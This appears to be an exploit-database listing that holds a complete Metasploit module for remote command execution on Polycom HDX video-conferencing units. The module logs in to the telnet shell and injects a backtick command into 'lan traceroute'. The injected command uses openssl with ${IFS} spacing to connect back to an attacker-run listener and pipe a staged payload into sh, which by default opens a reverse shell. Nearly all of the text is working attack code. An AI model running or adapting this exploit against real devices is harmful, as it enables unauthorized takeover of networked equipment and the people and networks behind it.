Polycom Shell HDX Series Traceroute Command Execution

2017.12.06
Credit: staaldraad
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Polycom Shell HDX Series Traceroute Command Execution', 'Description' => %q{ Within Polycom command shell, a command execution flaw exists in lan traceroute, one of the dev commands, which allows for an attacker to execute arbitrary payloads with telnet or openssl. }, 'Author' => [ 'Mumbai', # 'staaldraad', # https://twitter.com/_staaldraad/ 'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass 'h00die <mike@shorebreaksecurity.com>' # stole the code, creds to them ], 'References' => [ ['URL', 'https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/'] ], 'DisclosureDate' => 'Nov 12 2017', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [[ 'Automatic', {} ]], 'Payload' => { 'Space' => 8000, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet generic openssl'} }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, 'DefaultTarget' => 0 )) register_options( [ Opt::RHOST(), Opt::RPORT(23), OptString.new('PASSWORD', [ false, "Password to access console interface if required."]), OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]), OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ]) ]) end def check connect Rex.sleep(1) res = sock.get_once disconnect if !res && !res.empty? return Exploit::CheckCode::Unknown elsif res =~ /Welcome to ViewStation/ || res =~ /Polycom/ return Exploit::CheckCode::Detected end Exploit::CheckCode::Unknown end def exploit unless check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - Failed to connect to target service") end # # Obtain banner information # sock = connect Rex.sleep(2) banner = sock.get_once vprint_status("Received #{banner.length} bytes from service") vprint_line("#{banner}") if banner =~ /password/i print_status("Authentication enabled on device, authenticating with target...") if datastore['PASSWORD'].nil? print_error("#{peer} - Please supply a password to authenticate with") return end # couldnt find where to enable auth in web interface or telnet...but according to other module it exists..here in case. sock.put("#{datastore['PASSWORD']}\n") res = sock.get_once if res =~ /Polycom/ print_good("#{peer} - Authenticated successfully with target.") elsif res =~ /failed/ print_error("#{peer} - Invalid credentials for target.") return end elsif banner =~ /Polycom/ # praise jesus print_good("#{peer} - Device has no authentication, excellent!") end do_payload(sock) end def do_payload(sock) # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) # Start a listener start_listener(true) # Figure out the port we picked cbport = self.service.getsockname[2] cmd = "devcmds\nlan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}#{cbhost}${IFS}-port${IFS}#{cbport}|sh`\n" sock.put(cmd) if datastore['VERBOSE'] Rex.sleep(2) resp = sock.get_once vprint_status("Received #{resp.length} bytes in response") vprint_line(resp) end # Give time for our command to be queued and executed 1.upto(5) do Rex.sleep(1) break if session_created? end end def stage_final_payload(cli) print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") cli.put(payload.encoded + "\n") end def start_listener(ssl = false) comm = datastore['ListenerComm'] if comm == 'local' comm = ::Rex::Socket::Comm::Local else comm = nil end self.service = Rex::Socket::TcpServer.create( 'LocalPort' => datastore['CBPORT'], 'SSL' => ssl, 'SSLCert' => datastore['SSLCert'], 'Comm' => comm, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) self.service.on_client_connect_proc = proc { |client| stage_final_payload(client) } # Start the listening service self.service.start end # Shut down any running services def cleanup super if self.service print_status("Shutting down payload stager listener...") begin self.service.deref if self.service.is_a?(Rex::Service) if self.service.is_a?(Rex::Socket) self.service.close self.service.stop end self.service = nil rescue ::Exception end end end # Accessor for our TCP payload stager attr_accessor :service end


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